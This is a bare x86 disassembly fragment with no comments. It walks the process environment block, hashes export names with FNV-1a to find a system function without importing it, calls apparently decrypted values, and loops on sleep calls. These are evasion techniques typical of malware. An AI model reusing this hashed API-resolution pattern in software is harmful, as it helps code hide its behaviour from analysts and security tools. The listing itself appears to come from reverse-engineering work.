mov dword [ebp - 0x18], esi
call fcn.00c36fc0
mov byte [ebp - 4], 0xb0
lea ecx, [ebp - 0xb4]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0xcb22b5
sub ecx, edx
lea eax, [ebp - 0xb4]
push ecx
push eax
mov ecx, esi
call fcn.00c36f00
mov byte [ebp - 4], 0xb1
mov byte [ebp - 4], 0x1e
call fcn.00c5b350
mov ecx, dword [0xa20134]
mov eax, 0x2aaaaaab
sub ecx, dword [0xa20130]
add esp, 0x18
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0xcb2323
nop dword [eax]
push 0x64
call edi
mov ecx, dword [0xa20134]
mov eax, 0x2aaaaaab
sub ecx, dword [0xa20130]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
jne 0xcb2300
mov byte [0xa1ff39], 1
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x1c], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], edx
lea ecx, [edx + esi]
mov dword [ebp - 0x18], ecx
cmp ecx, esi
je 0xcb23a4
mov edi, dword [ecx + 0x18]
test edi, edi
je 0xcb23a4
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0xcb239d
nop dword [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0xcb2380
cmp esi, 0x2fa62ca8
je 0xcb23a8
mov esi, dword [eax + 0x18]
test edi, edi
jne 0xcb2366
mov eax, dword [eax]
jmp 0xcb2336
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x1c]
push 0xbb8
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
push 2
push dword [0xa1db3c]
call dword [0x9e7320]
push dword [0xa1db3c]
call dword [0x9e731c]
call dword [0x9e7318]
cmp byte [0xa1ff56], 0
je 0xcb24ad
cmp byte [ebp - 0x29], 0
je 0xcb24ad
nop
push 0x29
push 0xbde5a495
call fcn.00c3d180
mov ecx, dword fs:[0x30]
add esp, 8
mov dword [ebp - 0x14], eax
mov ecx, dword [ecx + 0xc]
mov ecx, dword [ecx + 0xc]
nop
mov esi, dword [ecx + 0x18]
mov dword [ebp - 0x1c], esi
mov edx, dword [esi + 0x3c]
mov eax, dword [edx + esi + 0x78]
add eax, esi
mov dword [ebp - 0x18], eax
cmp eax, esi
je 0xcb2484
mov edi, dword [eax + 0x18]
test edi, edi
je 0xcb2484
mov eax, dword [eax + 0x20]
lea ebx, [eax + edi*4]
add ebx, esi
mov eax, dword [ebx - 4]
lea ebx, [ebx - 4]
add eax, esi
dec edi
mov esi, 0x811c9dc5
mov dl, byte [eax]
inc eax
test dl, dl
je 0xcb247d
nop word [eax + eax]
movsx edx, dl
lea eax, [eax + 1]
xor edx, esi
imul esi, edx, 0x1000193
mov dl, byte [eax - 1]
test dl, dl
jne 0xcb2460
cmp esi, 0x2fa62ca8
je 0xcb2488
mov esi, dword [ecx + 0x18]
test edi, edi
jne 0xcb2445
mov ecx, dword [ecx]
jmp 0xcb2420
mov esi, dword [ebp - 0x18]
mov edx, dword [ebp - 0x1c]
push dword [ebp - 0x14]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
jmp 0xcb2400
call fcn.00d30ed3
mov esi, eax
mov byte [ebp - 4], 0xb2
lea ecx, [ebp - 0x1c8]
call fcn.00c36c70
mov byte [ebp - 4], 6
lea eax, [ebp - 0x1c8]
mov dword [ebp - 0x24], eax
mov dword [ebp - 4], 0xb5
lea ecx, [ebp - 0x288]
call fcn.00c36c70
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x288]
mov dword [ebp - 0x94], eax
mov dword [ebp - 4], 0xffffffff
mov eax, esi
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret 0x10